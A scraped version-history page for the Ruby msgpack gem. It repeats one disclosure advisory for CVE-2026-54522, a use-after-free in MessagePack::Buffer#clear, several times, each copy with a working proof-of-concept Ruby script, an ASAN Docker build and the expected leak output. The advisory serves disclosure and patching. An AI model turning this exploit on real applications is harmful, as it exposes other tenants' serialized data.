

            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 23, 2022

1.5.5 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 22, 2022

1.5.4 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 25, 2022

1.5.3 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 01, 2022

1.5.2 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

May 27, 2022

1.5.1 patch

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          0.3.4


          0.3.5


          0.3.6


          0.3.7

+ 81 more


            0.3.8


            0.3.9


            0.4.0


            0.4.1


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.5.0


            0.5.1


            0.5.10


            0.5.11


            0.5.12


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.5.7


            0.5.8


            0.5.9


            0.6.0


            0.6.0pre1


            0.6.1


            0.6.2


            0.7.0


            0.7.0dev1


            0.7.1


            0.7.2


            0.7.2dev1


            0.7.3


            0.7.4


            0.7.5


            0.7.6


            1.0.0


            1.0.1


            1.0.2


            1.0.3


            1.1.0


            1.2.0


            1.2.1


            1.2.10


            1.2.2


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.4.0


            1.4.0.pre1


            1.4.1


            1.4.2


            1.4.3


            1.4.4


            1.4.4.pre1


            1.4.5


            1.5.0


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5


            1.5.6


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.8.0


            1.8.1

Fixed in


          1.8.2

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 07, 2022

1.5.0 minor

1 CVE

CVE-2026-54522 GHSA-4mrv-5p47-p938 Jul 30, 2026

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Low

Local Low None None

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Affected versions


          0.0.1


          0.2.0


          0.2.1


          0.2.2


          0.3.0


          0.3.1


